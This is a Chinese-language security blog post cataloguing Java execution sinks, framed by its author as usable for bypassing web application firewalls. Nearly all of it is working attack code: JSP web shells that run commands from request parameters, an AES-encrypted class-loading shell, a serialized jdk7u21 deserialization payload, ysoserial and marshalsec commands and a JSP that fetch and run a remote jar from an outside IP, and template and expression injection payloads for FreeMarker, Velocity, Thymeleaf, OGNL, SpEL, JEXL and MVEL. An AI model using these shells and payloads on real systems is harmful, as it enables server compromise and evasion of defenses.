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Java sink整理

阅读量962122

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发布时间 : 2020-02-14 14:30:00

 

前言

最近整理了一下java sink，同样可以用于bypass waf。

 

sink

命令执行

常规命令执行

Runtime

public class Main {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

ProcessBuilder

public class Main {
    public static void main(String[] args) throws IOException {
        //new ProcessBuilder("calc").start();
        List<String> commands = new ArrayList<String>();
        commands.add("C:\Windows\System32\cmd.exe");
        commands.add("/c ");
        commands.add("whoami");
        Process process = new ProcessBuilder().command(commands).start();
    }
}

代码执行

XMLDecoder

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*"%>
<%!
String payload = "<?xml version="1.0" encoding="UTF-8"?>n" +
        "<java version="1.8.0_151" class="java.beans.XMLDecoder">n" +
        "    <void class="java.lang.ProcessBuilder">n" +
        "        <array class="java.lang.String" length="1">n" +
        "            <void index="0">n" +
        "                <string>calc</string>n" +
        "            </void>n" +
        "        </array>n" +
        "        <void method="start"/>n" +
        "    </void>n" +
        "</java>";

java.beans.XMLDecoder xd = new java.beans.XMLDecoder(new java.io.BufferedInputStream(new java.io.ByteArrayInputStream(payload.getBytes())));
Object o = xd.readObject();
%>

反序列化

jdk7u21反序列化，window上弹出计算器。

 

<%@page import=”java.io.,java.util.,java.net.,java.sql.,java.text.,java.beans.,java.lang.*”%>
<%java
byte[] payload = {-84,-19,0,5,115,114,0,23,106,97,118,97,46,117,116,105,108,46,76,105,110,107,101,100,72,97,115,104,83,101,116,-40,108,-41,90,-107,-35,42,30,2,0,0,120,114,0,17,106,97,118,97,46,117,116,105,108,46,72,97,115,104,83,101,116,-70,68,-123,-107,-106,-72,-73,52,3,0,0,120,112,119,12,0,0,0,16,63,64,0,0,0,0,0,2,115,114,0,58,99,111,109,46,115,117,110,46,111,114,103,46,97,112,97,99,104,101,46,120,97,108,97,110,46,105,110,116,101,114,110,97,108,46,120,115,108,116,99,46,116,114,97,120,46,84,101,109,112,108,97,116,101,115,73,109,112,108,9,87,79,-63,110,-84,-85,51,3,0,8,73,0,13,95,105,110,100,101,110,116,78,117,109,98,101,114,73,0,14,95,116,114,97,110,115,108,101,116,73,110,100,101,120,90,0,21,95,117,115,101,83,101,114,118,105,99,101,115,77,101,99,104,97,110,105,115,109,76,0,11,95,97,117,120,67,108,97,115,115,101,115,116,0,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,72,97,115,104,116,97,98,108,101,59,91,0,10,95,98,121,116,101,99,111,100,101,115,116,0,3,91,91,66,91,0,6,95,99,108,97,115,115,116,0,18,91,76,106,97,118,97,47,108,97,110,103,47,67,108,97,115,115,59,76,0,5,95,110,97,109,101,116,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,76,0,17,95,111,117,116,112,117,116,80,114,111,112,101,114,116,105,101,115,116,0,22,76,106,97,118,97,47,117,116,105,108,47,80,114,111,112,101,114,116,105,101,115,59,120,112,0,0,0,0,-1,-1,-1,-1,0,112,117,114,0,3,91,91,66,75,-3,25,21,103,103,-37,55,2,0,0,120,112,0,0,0,2,117,114,0,2,91,66,-84,-13,23,-8,6,8,84,-32,2,0,0,120,112,0,0,7,-18,-54,-2,-70,-66,0,0,0,50,0,85,10,0,3,0,34,7,0,83,7,0,37,7,0,38,1,0,16,115,101,114,105,97,108,86,101,114,115,105,111,110,85,73,68,1,0,1,74,1,0,13,67,111,110,115,116,97,110,116,86,97,108,117,101,5,-83,32,-109,-13,-111,-35,-17,62,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,19,83,116,117,98,84,114,97,110,115,108,101,116,80,97,121,108,111,97,100,1,0,12,73,110,110,101,114,67,108,97,115,115,101,115,1,0,53,76,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,83,116,117,98,84,114,97,110,115,108,101,116,80,97,121,108,111,97,100,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,39,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,71,97,100,103,101,116,115,46,106,97,118,97,12,0,10,0,11,7,0,40,1,0,51,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,83,116,117,98,84,114,97,110,115,108,101,116,80,97,121,108,111,97,100,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,20,106,97,118,97,47,105,111,47,83,101,114,105,97,108,105,122,97,98,108,101,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,31,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,1,0,8,60,99,108,105,110,105,116,62,1,0,4,99,97,108,99,8,0,42,1,0,7,111,115,46,110,97,109,101,8,0,44,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,7,0,46,1,0,11,103,101,116,80,114,111,112,101,114,116,121,1,0,38,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,12,0,48,0,49,10,0,47,0,50,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,7,0,52,1,0,11,116,111,76,111,119,101,114,67,97,115,101,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,12,0,54,0,55,10,0,53,0,56,1,0,3,119,105,110,8,0,58,1,0,10,115,116,97,114,116,115,87,105,116,104,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,90,12,0,60,0,61,10,0,53,0,62,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,7,0,64,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,12,0,66,0,67,10,0,65,0,68,1,0,7,99,109,100,46,101,120,101,8,0,70,1,0,2,47,99,8,0,72,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,12,0,74,0,75,10,0,65,0,76,1,0,7,47,98,105,110,47,115,104,8,0,78,1,0,2,45,99,8,0,80,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,1,0,30,121,115,111,115,101,114,105,97,108,47,80,119,110,101,114,51,48,54,51,50,54,48,48,53,55,51,52,51,48,48,1,0,32,76,121,115,111,115,101,114,105,97,108,47,80,119,110,101,114,51,48,54,51,50,54,48,48,53,55,51,52,51,48,48,59,0,33,0,2,0,3,0,1,0,4,0,1,0,26,0,5,0,6,0,1,0,7,0,0,0,2,0,8,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,46,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,84,0,0,0,1,0,19,0,20,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,51,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,84,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,23,0,24,0,2,0,25,0,0,0,4,0,1,0,26,0,1,0,19,0,27,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,55,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,84,0,0,0,0,0,1,0,21,0,22,0,1,0,0,0,1,0,28,0,29,0,2,0,0,0,1,0,30,0,31,0,3,0,25,0,0,0,4,0,1,0,26,0,8,0,41,0,11,0,1,0,12,0,0,0,108,0,6,0,3,0,0,0,78,-89,0,3,1,76,18,43,77,18,45,-72,0,51,-74,0,57,18,59,-74,0,63,-103,0,31,-72,0,69,6,-67,0,53,89,3,18,71,83,89,4,18,73,83,89,5,44,83,-74,0,77,87,-89,0,28,-72,0,69,6,-67,0,53,89,3,18,79,83,89,4,18,81,83,89,5,44,83,-74,0,77,87,-79,0,0,0,1,0,82,0,0,0,12,0,3,3,-2,0,48,0,5,7,0,53,24,0,2,0,32,0,0,0,2,0,33,0,17,0,0,0,10,0,1,0,2,0,35,0,16,0,9,117,113,0,126,0,12,0,0,1,-44,-54,-2,-70,-66,0,0,0,50,0,27,10,0,3,0,21,7,0,23,7,0,24,7,0,25,1,0,16,115,101,114,105,97,108,86,101,114,115,105,111,110,85,73,68,1,0,1,74,1,0,13,67,111,110,115,116,97,110,116,86,97,108,117,101,5,113,-26,105,-18,60,109,71,24,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,3,70,111,111,1,0,12,73,110,110,101,114,67,108,97,115,115,101,115,1,0,37,76,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,70,111,111,59,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,12,71,97,100,103,101,116,115,46,106,97,118,97,12,0,10,0,11,7,0,26,1,0,35,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,36,70,111,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,20,106,97,118,97,47,105,111,47,83,101,114,105,97,108,105,122,97,98,108,101,1,0,31,121,115,111,115,101,114,105,97,108,47,112,97,121,108,111,97,100,115,47,117,116,105,108,47,71,97,100,103,101,116,115,0,33,0,2,0,3,0,1,0,4,0,1,0,26,0,5,0,6,0,1,0,7,0,0,0,2,0,8,0,1,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,59,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,18,0,0,0,2,0,19,0,0,0,2,0,20,0,17,0,0,0,10,0,1,0,2,0,22,0,16,0,9,112,116,0,4,80,119,110,114,112,119,1,0,120,115,125,0,0,0,1,0,29,106,97,118,97,120,46,120,109,108,46,116,114,97,110,115,102,111,114,109,46,84,101,109,112,108,97,116,101,115,120,114,0,23,106,97,118,97,46,108,97,110,103,46,114,101,102,108,101,99,116,46,80,114,111,120,121,-31,39,-38,32,-52,16,67,-53,2,0,1,76,0,1,104,116,0,37,76,106,97,118,97,47,108,97,110,103,47,114,101,102,108,101,99,116,47,73,110,118,111,99,97,116,105,111,110,72,97,110,100,108,101,114,59,120,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ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new ByteArrayInputStream(payload)));
in.readObject();
%>

ScriptEngineManager.eval

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
<%
        ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
        BufferedReader object = (BufferedReader)scriptEngineManager.getEngineByName("JavaScript").eval("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c "+request.getParameter("cmd")+"").getInputStream()))");

        String line = "";
        String result = "";
        while((line=object.readLine())!=null)
        {
            result = result + line;
        }
        out.println(result);
%>

Compilable.compile

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
<%
    ScriptEngineManager manager = new ScriptEngineManager();
    ScriptEngine engine = manager.getEngineByName("JavaScript");

    Compilable compEngine = (Compilable) engine;
    CompiledScript script = compEngine.compile("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c dir").getInputStream()))");
    BufferedReader object = (BufferedReader)script.eval();

    String line = "";
    String result = "";
    while((line=object.readLine())!=null)
    {
        result = result + line;
    }
    out.println(result);
%>

JShell

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>

defineClass+newInstance

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b)
{return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){
String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
String uploadString= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);
%>

defineclass+forName

base64的class是java1.8，所以需要1.8才能运行

String R = "yv66vgAAADQAJQoACQAWCgAXABgIABkKABcAGgcAGwoABQAcBwAdCgAHABYHAB4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAHQcAGwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAKAAsHAB8MACAAIQEABGNhbGMMACIAIwEAE2phdmEvbGFuZy9FeGNlcHRpb24MACQACwEAB0V4cGxvaXQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACQAAAAAAAwABAAoACwABAAwAAABgAAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQACAA0AAAAaAAYAAAALAAQADQANABAAEAAOABEADwAVABEADgAAABAAAv8AEAABBwAPAAEHABAEAAkAEQASAAEADAAAACUAAgACAAAACbsAB1m3AAhMsQAAAAEADQAAAAoAAgAAABMACAAUAAgAEwALAAEADAAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgANAAAAFgAFAAAABQAJAAgADAAGAA0ABwARAAkADgAAAAcAAkwHABAEAAEAFAAAAAIAFQ==";
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
byte[] bt = decoder.decodeBuffer(R);
DefiningClassLoader cls = new DefiningClassLoader();
cls.defineClass("Exploit",bt);
Class.forName("Exploit",true,cls);

rmi-registry.bind

yso利用

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 Jdk7u21 "calc"

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*"%>
<%
class ServerImp extends UnicastRemoteObject {
    protected ServerImp() throws RemoteException {
    }

}
ServerImp server = new ServerImp();
int port = 1099;
String registry_name = "rmi";
Registry registry = LocateRegistry.createRegistry(port);
registry.bind(registry_name, server);
System.out.println("Port:1099,Name:rmi,Service Start!n");
%>

jrmp

java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://188.131.187.191/#Exploit

Exploit
使用javac进行编译

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*"%>
<%
String host = "127.0.0.1";
int port = 8855;

ObjID id = new ObjID((new Random()).nextInt());
sun.rmi.transport.tcp.TCPEndpoint te = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.server.UnicastRef ref = new sun.rmi.server.UnicastRef(new sun.rmi.transport.LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outStream = new ObjectOutputStream(new BufferedOutputStream(byteArrayOutputStream));
outStream.writeObject(obj);
outStream.flush();
outStream.close();

ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())));
in.readObject();
%>

jndi

yso利用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://188.131.187.191/#Exploit

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,java.rmi.*,java.rmi.server.*,java.rmi.registry.*,javax.naming.*"%>
<%
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext();
Object obj = ctx.lookup("Exploit");
System.out.println(obj.toString());
%>

反射

String op = "";
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec", String.class);
Process e = (Process) ex.invoke(gr.invoke(null, new Object[]{}),  "cmd /c calc");
System.out.print(op);

远程class加载

package com.company;
import java.io.IOException;

public class Evil {
    public void exec(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

远程jar文件

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*"%>
<%
out.println(222222222);
URL url = new URL("http://188.131.187.191/Temp.jar");
URLClassLoader loader = new URLClassLoader (new URL[] {url});
Class cl = Class.forName ("com.company.Evil", true, loader);
Object evil = cl.newInstance();
cl.getMethod("exec",String.class).invoke(evil,"calc");
%>

javassist

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.26.0-GA</version>
</dependency>

public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException {
    String command = "calc";

    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(HashSet.class));
    CtClass cc = pool.get(HashSet.class.getName());
    //System.out.println(angelwhu.model.Point.class.getName());

    cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec("" + command.replaceAll(""", "\"") +"");");
    //加入关键执行代码，生成一个静态函数。

    String newClassNameString = "Test";
    cc.setName(newClassNameString);

    CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);
    cc.addMethod(mthd);

    cc.toClass().newInstance();
}

模板注入

jsp

<%
out.println(22222);
%>
${Runtime.getRuntime().exec("calc")}

FreeMarker

<dependency>
    <groupId>org.freemarker</groupId>
    <artifactId>freemarker</artifactId>
    <version>2.3.20</version>
</dependency>

1.ftl

FreeMarker Template example: ${message}

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("whoami") }

Configuration cfg = new Configuration();
Template template = cfg.getTemplate("src/1.ftl");

// Build the data-model
Map<String, Object> data = new HashMap<String, Object>();
data.put("message", "Hello World!");

// Console output
Writer out = new OutputStreamWriter(System.out);
template.process(data, out);
out.flush();

Velocity

<dependency>
    <groupId>apache-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

<dependency>
    <groupId>apache-lang</groupId>
    <artifactId>commons-lang</artifactId>
    <version>2.1</version>
</dependency>


<dependency>
    <groupId>apache-velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.5</version>
</dependency>

vm

hello ${name}

#set($e="e")
${e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")}

VelocityEngine ve = new VelocityEngine();
ve.init();

/* next, get the Template */
Template t = ve.getTemplate( "src/1.vm" );

/* create a context and add data */
VelocityContext context = new VelocityContext();
context.put("name", "lufei");

/* now render the template into a StringWriter */
StringWriter writer = new StringWriter();
t.merge( context, writer );

System.out.println( writer.toString() );

thremeleaf

thremeleaf是在使用springboot时接触到的一个模板引擎，用于处理静态的html页面

<dependency>
    <groupId>org.thymeleaf</groupId>
    <artifactId>thymeleaf</artifactId>
    <version>3.0.0.RELEASE</version>
</dependency>

名字：<span th:text="${name}"></span>
<span th:text="${new ProcessBuilder(new String[]{new String(new byte[]{99,97,108,99})}).start()}"></span>

File file = new File("d:/1.txt");
final FileWriter writer = new FileWriter(file);

final FileTemplateResolver templateResolver = new FileTemplateResolver();
TemplateEngine templateEngine = new TemplateEngine();
templateEngine.setTemplateResolver(templateResolver);

Context context = new Context();
context.setVariable("name","lufei");
String result = templateEngine.process("./src/1.html", context);
System.out.println(result);

表达式

EL

<%
out.println(22222);
%>
${2*3}
${Runtime.getRuntime().exec("calc")}

OGNL

<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.0.1</version>
</dependency>

高版本需要自己设置安全权限

OgnlContext context = new OgnlContext();
Object execResult = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", null);
System.out.println(execResult);

spEL

Spring Expression Language（简称SpEL）是一种强大的表达式语言

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>5.2.1.RELEASE</version>
</dependency>

ExpressionParser parser = new SpelExpressionParser();
System.out.println(parser.parseExpression("T(java.lang.Runtime).getRuntime().exec("calc")").getValue());

Jexl

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-jexl</artifactId>
    <version>2.1.1</version>
</dependency>

JexlContext jc = new MapContext();
Expression e = new JexlEngine().createExpression("''.class.forName('java.lang.Runtime').getRuntime().exec("calc")");
Object result = e.evaluate(jc);
System.out.println(result);

Elasticsearch——MVEL

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.2.8.Final</version>
</dependency>

String exp = "a=123;new java.lang.ProcessBuilder("calc").start();";
Map vars = new HashMap();
vars.put("foobar", new Integer(100));
String result = MVEL.eval(exp, vars).toString();

 

最后

项目地址在：
https://github.com/lufeirider/BypassShell/blob/master/JAVA/JAVA.md
还有整理了ASP和PHP两种语言。

 

参考

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/
https://wsygoogol.github.io/2016/11/15/MVEL%E8%A7%A3%E6%9E%90%E8%A1%A8%E8%BE%BE%E5%BC%8F/
https://aluvion.github.io/2019/04/25/Java%E7%89%B9%E8%89%B2-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%83/
https://wooyun.js.org/drops/%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%EF%BC%9A%E7%8E%B0%E4%BB%A3WEB%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%EF%BC%88%E8%A1%A5%E5%85%85%E7%BF%BB%E8%AF%91%E5%92%8C%E6%89%A9%E5%B1%95%EF%BC%89.html
http://rui0.cn/archives/1043

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